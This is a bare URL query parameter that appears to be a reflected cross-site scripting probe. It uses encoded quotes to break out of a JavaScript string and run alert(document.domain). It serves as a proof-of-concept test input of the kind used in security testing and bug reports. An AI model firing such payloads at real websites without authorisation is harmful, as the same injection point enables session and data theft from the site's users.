?key=%27-alert(document.domain)-%27